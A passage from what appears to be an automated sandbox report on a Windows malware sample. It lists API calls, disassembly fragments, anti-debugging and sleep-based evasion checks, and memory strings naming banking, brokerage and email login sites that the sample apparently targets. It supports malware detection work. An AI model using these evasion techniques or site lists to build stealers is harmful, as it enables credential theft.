Source:	Binary string: powercfg.pdb source: svchost.exe, 00000002.00000003.1852599121.0000000002A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1852713638.0000000002A2D000.00000004.00000020.00020000.00000000.sdmp, ycBMGRFRlht.exe, 00000004.00000002.2612973441.0000000000F68000.00000004.00000020.00020000.00000000.sdmp

Source: wWXR5js3k2.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: wWXR5js3k2.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: wWXR5js3k2.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: wWXR5js3k2.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: wWXR5js3k2.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\wWXR5js3k2.exe

Code function: 0_2_00654B37 LoadLibraryA,GetProcAddress,

0_2_00654B37

Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_0065C4C6 push A30065BAh; retn 0065h	0_2_0065C50D
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_00678945 push ecx; ret	0_2_00678958
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02614A5F push edx; retf	2_2_02614A60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0262D863 push edi; iretd	2_2_0262D86C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_026051C0 pushad ; ret	2_2_026051CB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02618712 push ebp; iretd	2_2_0261871A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02624CB3 push edi; ret	2_2_02624CD5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_026164BD push ecx; ret	2_2_026164DD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0260D48E push cs; ret	2_2_0260D4BB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02603570 push eax; ret	2_2_02603572
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02614D03 push ss; ret	2_2_02614D04
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030309AD push ecx; mov dword ptr [esp], ecx	2_2_030309B6
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	Code function: 4_2_02D6524B push ecx; ret	4_2_02D6526B
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	Code function: 4_2_02D5C21C push cs; ret	4_2_02D5C249
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	Code function: 4_2_02D610D6 push ebx; retf	4_2_02D610DB
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	Code function: 4_2_02D6808E push ss; retf	4_2_02D6808F
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	Code function: 4_2_02D53F4E pushad ; ret	4_2_02D53F59
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	Code function: 4_2_02D674A0 push ebp; iretd	4_2_02D674A8
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	Code function: 4_2_02D69C43 push cs; iretd	4_2_02D69C4A
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_032B225F pushad ; ret	5_2_032B27F9
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_032B27FA pushad ; ret	5_2_032B27F9
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_032E09AD push ecx; mov dword ptr [esp], ecx	5_2_032E09B6
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_032B283D push eax; iretd	5_2_032B2858
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_02A8A2F0 push edi; iretd	5_2_02A8A2F9
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_02A7C732 push esp; iretd	5_2_02A7C733
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_02A7519F push ebp; iretd	5_2_02A751A7
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_02A81740 push edi; ret	5_2_02A81762
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_02A77942 push cs; iretd	5_2_02A77949
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_02A61C4D pushad ; ret	5_2_02A61C58
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_031063B5 push esp; retf	5_2_0310643F
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_0310622C push cs; retf	5_2_03106243

Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_006548D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_006548D7
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_006D5376 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_006D5376

Source: C:\Users\user\Desktop\wWXR5js3k2.exe

Code function: 0_2_00673187 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00673187

Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\wWXR5js3k2.exe	API/Special instruction interceptor: Address: 32D31F4
Source: C:\Windows\SysWOW64\powercfg.exe	API/Special instruction interceptor: Address: 7FF90818D324
Source: C:\Windows\SysWOW64\powercfg.exe	API/Special instruction interceptor: Address: 7FF90818D7E4
Source: C:\Windows\SysWOW64\powercfg.exe	API/Special instruction interceptor: Address: 7FF90818D944
Source: C:\Windows\SysWOW64\powercfg.exe	API/Special instruction interceptor: Address: 7FF90818D504
Source: C:\Windows\SysWOW64\powercfg.exe	API/Special instruction interceptor: Address: 7FF90818D544
Source: C:\Windows\SysWOW64\powercfg.exe	API/Special instruction interceptor: Address: 7FF90818D1E4
Source: C:\Windows\SysWOW64\powercfg.exe	API/Special instruction interceptor: Address: 7FF908190154
Source: C:\Windows\SysWOW64\powercfg.exe	API/Special instruction interceptor: Address: 7FF90818DA44

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_0307096E rdtsc

2_2_0307096E

Source: C:\Windows\SysWOW64\powercfg.exe	Window / User API: threadDelayed 4304			Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Window / User API: threadDelayed 5670			Jump to behavior

Source: C:\Users\user\Desktop\wWXR5js3k2.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-102343

Source: C:\Users\user\Desktop\wWXR5js3k2.exe	API coverage: 4.9 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.7 %
Source: C:\Windows\SysWOW64\powercfg.exe	API coverage: 2.6 %

Source: C:\Windows\SysWOW64\powercfg.exe TID: 7736	Thread sleep count: 4304 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe TID: 7736	Thread sleep time: -8608000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe TID: 7736	Thread sleep count: 5670 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe TID: 7736	Thread sleep time: -11340000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe TID: 7752	Thread sleep time: -35000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\powercfg.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\powercfg.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_006B445A GetFileAttributesW,FindFirstFileW,FindClose,	0_2_006B445A
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_006BC6D1 FindFirstFileW,FindClose,	0_2_006BC6D1
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_006BC75C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_006BC75C
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_006BEF95 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_006BEF95
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_006BF0F2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_006BF0F2
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_006BF3F3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_006BF3F3
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_006B37EF FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_006B37EF
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_006B3B12 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_006B3B12
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_006BBCBC FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_006BBCBC
Source: C:\Windows\SysWOW64\powercfg.exe	Code function: 5_2_02A7C9B0 FindFirstFileW,FindNextFileW,FindClose,	5_2_02A7C9B0

Source: C:\Users\user\Desktop\wWXR5js3k2.exe

Code function: 0_2_006549A0 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_006549A0

Source: 320lF200.5.dr	Binary or memory string: dev.azure.comVMware20,11696497155j
Source: 320lF200.5.dr	Binary or memory string: global block list test formVMware20,11696497155
Source: 320lF200.5.dr	Binary or memory string: turbotax.intuit.comVMware20,11696497155t
Source: 320lF200.5.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696497155
Source: 320lF200.5.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696497155]
Source: 320lF200.5.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696497155\|UE
Source: 320lF200.5.dr	Binary or memory string: tasks.office.comVMware20,11696497155o
Source: 320lF200.5.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155
Source: 320lF200.5.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696497155
Source: powercfg.exe, 00000005.00000002.2611913316.0000000002E30000.00000004.00000020.00020000.00000000.sdmp, ycBMGRFRlht.exe, 00000008.00000002.2612867629.000000000132F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 320lF200.5.dr	Binary or memory string: bankofamerica.comVMware20,11696497155x
Source: 320lF200.5.dr	Binary or memory string: ms.portal.azure.comVMware20,11696497155
Source: 320lF200.5.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696497155h
Source: 320lF200.5.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696497155p
Source: 320lF200.5.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696497155n
Source: 320lF200.5.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696497155d
Source: 320lF200.5.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696497155x
Source: 320lF200.5.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696497155
Source: 320lF200.5.dr	Binary or memory string: interactivebrokers.comVMware20,11696497155
Source: 320lF200.5.dr	Binary or memory string: AMC password management pageVMware20,11696497155
Source: 320lF200.5.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696497155
Source: 320lF200.5.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696497155}
Source: 320lF200.5.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155^
Source: 320lF200.5.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696497155u
Source: 320lF200.5.dr	Binary or memory string: discord.comVMware20,11696497155f
Source: 320lF200.5.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696497155
Source: 320lF200.5.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696497155z
Source: 320lF200.5.dr	Binary or memory string: outlook.office365.comVMware20,11696497155t
Source: 320lF200.5.dr	Binary or memory string: outlook.office.comVMware20,11696497155s
Source: 320lF200.5.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696497155}
Source: 320lF200.5.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696497155~
Source: 320lF200.5.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696497155x
Source: firefox.exe, 0000000A.00000002.2187174777.0000023F7B49D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllpp

Source: C:\Users\user\Desktop\wWXR5js3k2.exe	API call chain: ExitProcess graph end node			graph_0-101117
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	API call chain: ExitProcess graph end node			graph_0-101189

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_0307096E rdtsc

2_2_0307096E

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_02617ED3 LdrLoadDll,

2_2_02617ED3

Source: C:\Users\user\Desktop\wWXR5js3k2.exe

Code function: 0_2_006C3F09 BlockInput,

0_2_006C3F09

Source: C:\Users\user\Desktop\wWXR5js3k2.exe

Code function: 0_2_00653B3A GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00653B3A

Source: C:\Users\user\Desktop\wWXR5js3k2.exe

Code function: 0_2_00685A7C EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_00685A7C

Source: C:\Users\user\Desktop\wWXR5js3k2.exe

Code function: 0_2_00654B37 LoadLibraryA,GetProcAddress,

0_2_00654B37

Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_032D3460 mov eax, dword ptr fs:[00000030h]	0_2_032D3460
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_032D34C0 mov eax, dword ptr fs:[00000030h]	0_2_032D34C0
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_032D1E70 mov eax, dword ptr fs:[00000030h]	0_2_032D1E70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306A30B mov eax, dword ptr fs:[00000030h]	2_2_0306A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306A30B mov eax, dword ptr fs:[00000030h]	2_2_0306A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306A30B mov eax, dword ptr fs:[00000030h]	2_2_0306A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302C310 mov ecx, dword ptr fs:[00000030h]	2_2_0302C310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03050310 mov ecx, dword ptr fs:[00000030h]	2_2_03050310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]	2_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]	2_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]	2_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]	2_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]	2_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]	2_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]	2_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]	2_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]	2_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]	2_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]	2_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]	2_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]	2_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]	2_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]	2_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B035C mov eax, dword ptr fs:[00000030h]	2_2_030B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B035C mov eax, dword ptr fs:[00000030h]	2_2_030B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B035C mov eax, dword ptr fs:[00000030h]	2_2_030B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B035C mov ecx, dword ptr fs:[00000030h]	2_2_030B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B035C mov eax, dword ptr fs:[00000030h]	2_2_030B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B035C mov eax, dword ptr fs:[00000030h]	2_2_030B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FA352 mov eax, dword ptr fs:[00000030h]	2_2_030FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D437C mov eax, dword ptr fs:[00000030h]	2_2_030D437C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302E388 mov eax, dword ptr fs:[00000030h]	2_2_0302E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302E388 mov eax, dword ptr fs:[00000030h]	2_2_0302E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302E388 mov eax, dword ptr fs:[00000030h]	2_2_0302E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305438F mov eax, dword ptr fs:[00000030h]	2_2_0305438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305438F mov eax, dword ptr fs:[00000030h]	2_2_0305438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03028397 mov eax, dword ptr fs:[00000030h]	2_2_03028397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03028397 mov eax, dword ptr fs:[00000030h]	2_2_03028397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03028397 mov eax, dword ptr fs:[00000030h]	2_2_03028397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030EC3CD mov eax, dword ptr fs:[00000030h]	2_2_030EC3CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0303A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0303A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0303A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0303A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0303A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0303A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030383C0 mov eax, dword ptr fs:[00000030h]	2_2_030383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030383C0 mov eax, dword ptr fs:[00000030h]	2_2_030383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030383C0 mov eax, dword ptr fs:[00000030h]	2_2_030383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030383C0 mov eax, dword ptr fs:[00000030h]	2_2_030383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B63C0 mov eax, dword ptr fs:[00000030h]	2_2_030B63C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D43D4 mov eax, dword ptr fs:[00000030h]	2_2_030D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D43D4 mov eax, dword ptr fs:[00000030h]	2_2_030D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030403E9 mov eax, dword ptr fs:[00000030h]	2_2_030403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030403E9 mov eax, dword ptr fs:[00000030h]	2_2_030403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030403E9 mov eax, dword ptr fs:[00000030h]	2_2_030403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030403E9 mov eax, dword ptr fs:[00000030h]	2_2_030403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030403E9 mov eax, dword ptr fs:[00000030h]	2_2_030403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030403E9 mov eax, dword ptr fs:[00000030h]	2_2_030403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030403E9 mov eax, dword ptr fs:[00000030h]	2_2_030403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030403E9 mov eax, dword ptr fs:[00000030h]	2_2_030403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304E3F0 mov eax, dword ptr fs:[00000030h]	2_2_0304E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304E3F0 mov eax, dword ptr fs:[00000030h]	2_2_0304E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304E3F0 mov eax, dword ptr fs:[00000030h]	2_2_0304E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030663FF mov eax, dword ptr fs:[00000030h]	2_2_030663FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302823B mov eax, dword ptr fs:[00000030h]	2_2_0302823B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B8243 mov eax, dword ptr fs:[00000030h]	2_2_030B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B8243 mov ecx, dword ptr fs:[00000030h]	2_2_030B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302A250 mov eax, dword ptr fs:[00000030h]	2_2_0302A250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03036259 mov eax, dword ptr fs:[00000030h]	2_2_03036259
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03034260 mov eax, dword ptr fs:[00000030h]	2_2_03034260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03034260 mov eax, dword ptr fs:[00000030h]	2_2_03034260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03034260 mov eax, dword ptr fs:[00000030h]	2_2_03034260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302826B mov eax, dword ptr fs:[00000030h]	2_2_0302826B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]	2_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]	2_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]	2_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]	2_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]	2_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]	2_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]	2_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]	2_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]	2_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]	2_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]	2_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E0274 mov eax, dword ptr fs:[00000030h]	2_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306E284 mov eax, dword ptr fs:[00000030h]	2_2_0306E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306E284 mov eax, dword ptr fs:[00000030h]	2_2_0306E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B0283 mov eax, dword ptr fs:[00000030h]	2_2_030B0283
